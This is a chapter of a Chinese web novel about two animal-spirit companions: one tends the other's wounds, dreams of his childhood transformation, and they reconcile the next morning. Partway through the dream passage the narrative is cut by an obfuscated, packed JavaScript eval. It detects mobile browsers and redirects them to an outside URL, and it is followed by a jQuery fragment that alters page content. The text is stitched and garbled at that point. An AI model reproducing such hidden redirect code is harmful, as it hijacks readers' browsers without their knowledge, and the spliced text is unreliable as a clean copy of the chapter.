19. 下次,你离我远些
作品:《狗胆!竟敢觊觎我娘子内丹》 客栈的烛火在窗纸上投下摇曳的光影,空气中弥漫着一股淡淡的草药味。
君梦拉上床缦,在腰间随意涂了点止疼膏,另外换了身干净的衣裳。
等她钻出来之后,不容分说强行扒开顾桃的袍子,露出他满是伤痕血迹的胸背,几乎已经没有完整的皮肤,抓着他衣襟的指骨因为攥太紧泛着青白。
她知道这些对于他来说都是皮外伤,过不了多久就会消退,可愈合之前该疼总是会疼的。
两人从小一起长大,哪怕是在村里跟伯姨们切磋的时候,也从没见他伤得这么重过,不看一眼始终不放心。
桌上粗瓷碗里,盛着黑糊糊的止疼药膏。
她一手撩起他的白发,一手执蘸了药膏的棉布,细细敷在他后背最大的那处伤口上。虽然足够轻柔,可还是引得他闷哼一声。
“……我、我轻点!”
君梦赶紧撒手,俯身呼呼地替他吹着,就像胡爹哄她那样。
顾桃头皮发麻,只觉得一阵疼一阵痒,浑身都起了鸡皮疙瘩。赶忙拉过她摁在凳子上,制止道:“别忙活了,过两天就会好的。”
君梦闻言不语,将瓷碗置于桌上,默默低下脑袋。
顾桃带着一丝不安,问道:“怎么了?刚才……又吓到你了吗?”
他视线缓缓转动,看着自己布满深浅伤痕的手臂,有爪伤、齿痕,可还有些凭空破裂的口子是他想不起来怎么造成的。失控变身后那段记忆一片空白,他最怕的就是这样。
“不是的,我不怕。”
君梦回答的话语有些心不在焉,她不知道该怎么表达对他的担忧,总觉得说了娇情,不说又憋屈。
顾桃的喉结滚动了一下,没有接话,只是平静地接过她递来的湿帕子,一点一点擦拭着身上的血迹。
君梦再次起身,拿起绷带藏进他看不到的地方,一圈一圈替他包扎后背的伤口。
他暗暗叹了口气,拉起系在腰间的衣袍,一边往上穿一边轻声说:
“下次,你离我远些,躲得远远的…在看不见我的地方等我就好……我不想…不想再像小时候那样吓到你,更不想伤害到你。”
君梦一听这话,突然将手中剩余的绷带摔到地上,生起气来:“不是的!我不怕你!我只是担心你……”
说完,她莫名觉得委屈,瘪着嘴躲进床缦不再理他,拿被子将头一蒙,一副也不想听他说话的模样。
“……”
顾桃低垂了眼眸,不再吱声,只稍微收拾一下杂乱的物品,熄灭了烛火。
君梦气鼓鼓埋在被子里,有限的空气让她更加憋闷。悄悄用手在被角捅了个小洞,新流进来的空气凉凉的,激得头脑忽然清明。
她悄无声息大大吸了一口气,面部朝下趴在床上,紧抿着双唇。
他明明是为了她好,也不知道自己在气什么?!
迷迷糊糊地想了很多,不知几时睡着,梦里好像又回到了那个时候……
……
步履蹒跚的她,跟在高出一个头的小顾桃身后,非要去看他练习搏斗。
村后的老树下早已聚集了七八个伯姨。他们整天就靠逗弄村里的娃娃渡过无聊的日子,尤其喜爱小小年纪却悟性极高的小顾桃。
看着两个可爱小娃拉拉扯扯往这边来,不禁玩心大起。
“小桃桃今天状态不错呀,不如多练几套基本功?”
“基本功哪够,得试试新学的绞杀术!”
“光是练套路多枯燥,得试试实战对打!”
“……”
原本只是寻常的陪练,在长辈们的起哄里渐渐变了味。
小少年的拳头从试探性的轻挥变成迅猛的直拳,腾挪闪避的步伐越来越急促。
小君梦坐在一旁的石墩上,蓬松的尾巴兴奋地摇,每看到精彩处就拍着小手尖叫:“桃桃哥哥好厉害!”
她的崇拜称赞更加激励着小少年的气势。
高大的六伯看得兴起,突然站起身,活动着手腕发出咔咔脆响,笑道:“小桃桃,来跟伯伯过两招!”
周围顿时响起一片叫好。
小顾桃瞥了眼满脸期待的小女孩儿,捏紧拳头挺直了背脊。
他知道自己现在的力道还撑不起高强度的对抗,但脆生生地“桃桃哥哥加油!”就像一团火焰,烧得他胸腔发烫。
“请六伯伯指教。”
一大一小拳脚碰撞的闷响在暮色里炸开,起初还能看出些招式章法,到后来,小孩儿就只剩下蛮力硬拼。
小君梦的叫好声渐渐低了下去,她看见桃桃哥哥额角渗出了汗珠,胳膊上甚至泛起了青紫。
嫣红婶越看越觉得不对劲,敛了笑容站起身,叫停两人:“别打了!快住手!!”
话音未落,突然,小顾桃高高仰起头,发出一阵极其痛苦的嘶吼。
霎时间,周围的灵气像被大力拉扯的绸缎,疯狂涌入他的体内。他的骨骼发出噼啪炸响声,身形以肉眼可见的速度膨胀,灰色粗衫寸寸碎裂,周身妖气荡得尘烟滔滔。
等烟雾散去,原地哪还有小少年,赫然蹲踞着一只通体雪白的猛虎,铜铃大眼里翻涌着凶光,摇摇晃晃踏着步子低吼。
“糟了!”
前一刻还在嬉闹的长辈们,脸色变得极其难看。
这时,稳住身形的白虎一声咆哮,猛地扑向离它最近的二姨婆,粗壮的前肢带着撕裂空气的风。
幸好嫣红婶反应快,及时甩出藤鞭缠住它的后腿。
可这家伙蛮劲大得惊人,只略微一停顿,便拖起藤鞭继续往前。
二姨婆冷汗直冒,飞起身形就往空地跃去。
伯姨们生怕伤到他,也只能纷纷祭出困缚类的术法,试图控制住他。
五颜六色的灵光在白虎身上炸开,却只引来阵阵不满地怒吼,以及更加疯狂的撞击,将平日里疼爱他的长辈们冲撞得东倒西歪。
小君梦被这突如其来的变故吓得呆怔当场,那声“桃桃哥哥”也被噎在喉咙里。
受了惊动赶来的二伯脑门青筋直冒,先是一把将呆住的小君梦捞起,塞到随后赶来的胡爹怀里,再从须臾袋中取出特制的锁妖链,这才在众人的合力下将他捆住。
白虎被禁锢在原地动弹不得,声声嘶啸伴随着痛苦的呜咽。
也不知过了多久,像是终于耗尽了力气,那庞大的身躯才轰然倒地,在喘息声中身形迅速缩小,重新变回了小少年的模样。
小顾桃在一阵剧痛中睁开眼,感到筋疲力尽。最先映入眼帘的是满地狼藉,以及长辈们凝重的脸。
他动了动手指,刚想撑起身体来。随着耳中鸣音的消失,却听见旁边传来撕心裂肺的哭声。
胡爹站在远处,怀里窝着一只缩卷着白尾巴的可怜小狐妖,哭得满脸泪痕,上气不接下气,一双小胳膊紧紧勒着爹爹的脖子。
胡爹轻轻拍着她的背低声呢喃安抚,担忧的眼神看向小顾桃,却因为担心女儿害怕,始终没有上前一步。
“……”
小顾桃张了张嘴,眼里起了一层雾气,只觉得有什么东西狠狠扎进心脏。
二姨婆和嫣红婶拿起一件宽大的粗布衣,将他裹了,搂在怀里轻声安慰。
“小桃桃,没事了啊,不怕不怕……”
二伯铁青着脸,带领其他心虚的伯伯们打扫“战场”,隐避在深山的小村子重新归于平静。
“那时的他,一定很无助,我却没能第一时间去陪伴他……”
君梦被困在梦境里,只觉得心口一阵疼。
自那次之后,再也没有人提起过这出意外,而当时她还小,哭过就忘,也没有多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077348|195263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
加询问。
她只隐隐约约记得,桃哥当时避开她,独自闭关了好久。
现在又经历了一次,如今回想起来,倘若不是伤重,又为何会闭关?是以,她实在担心这样的环境和潜在的敌人,他能好好调理休养吗?
仅凭她自己,能否将他保护好?
……
“梦儿……梦儿……”
恍恍惚惚地,有一道熟悉而令人心安的声音在她耳边反复呼唤。
她感受到脸颊湿濡,还带着微凉触感,是那人在用指腹温柔替她擦拭。
君梦抽泣着,迷迷糊糊地睁开眼睛,视野朦胧几不可辩。
她发现自己缩成一团窝在床角,就像梦里窝在爹爹怀里那样。
一团黑影弓着背,正半跪在床边。
顾桃面上满是慌张,见她总算清醒过来,这才勉强压下内心的不安。
他俯下身子,又凑得近了些,柔声问道:“做噩梦了么?别害怕。”
“……”
君梦对他的问话充耳不闻,只泪眼婆娑盯着他看,通红的眼睛里盛着复杂情绪。
顾桃见她这副模样,越发焦急,心道定是他的变化又吓着她了,一丝酸楚涌上心头。
他躲开她的视线,张了张嘴正要说什么。
突然,这可怜巴巴的小妮撑起发软的身子,伸出双手拉住他的衣襟,不顾一切地就朝他扑了过来……
君梦双臂轻轻穿过他的腋下,小心翼翼又紧紧地环住他肩臂,带着泪水的脸颊打湿了他的胸膛。
她的动作很轻又很急,生怕碰到他后背的伤,又想努力让自己贴近他温暖的怀抱。
她就是很想抱抱他。
顾桃一愣,再没有丝毫犹豫,当即展开双臂,揽住面前悬空的纤细腰肢往前一拉,将她整个紧贴着圈在自己怀抱里。
他学着胡爹那样,一下一下轻轻拍着她的背,喃喃地:
“不怕,不怕,我在。”
……
早点铺里热气腾腾,刚炸好的酥软果子裹着香料,在盘子里泛着油光。
顾桃把一碗肉汤推到君梦跟前,正巧她想拿桌上的糖罐子,他的指尖不小心碰到她的手背。
她手一缩,罐子和碗发出清脆的碰撞声。
顾桃瞧着她今早起来后就有些窘迫的表情,昨晚情景又浮现在他脑海里,指尖便有些发烫了。
君梦眼神闪躲,低头咬了一口果子,含糊不清地问:“你……你没事吗?”
忆起昨晚半夜时分,原本她在梦中哭得抽抽搭搭,最后躲进那个舒适的怀抱里才又安稳睡去。这人见她不撒手,索性就在床上抱着她坐了一晚。
她直睡到日上三竿,打着哈欠睁开眼时,仍然搂着她的顾桃双眸清澈,也不知是一夜未睡,还是早已清醒。
原本是希望他躲起来好好休养身体,结果反倒被她拖着累了一宿……
而且虽然两人平常时时接触,背背抱抱如同家常便饭,可自己明明才闹了莫名的脾气,多少显得她脸皮厚了些……
君梦越想越觉得别扭。
“不妨事。”
顾桃见她神色尴尬,也不知道在想什么。但他觉得自己应该找个什么由头来缓解一下气氛才行。
他从容不迫地端起汤碗,平稳开口:“这场除厄大赛有猫腻,晚些时候,我想去探一探那报名处的别院。”
“不行!你一个人……不是,你得带上我!那只该死的臭老鼠,太嚣张了,明摆了是在回程路上捡漏的!我得去收拾它!”
果然上当的妮子顿时没了那股半羞半恼的神态,将汤碗往桌上一掷,恶狠狠的像要活撕了那肥耗子才能找回场子。
顾桃暗自勾起嘴角,不露痕迹地回了句:“好,那股花香有古怪,要小心。”
“嗯嗯!”

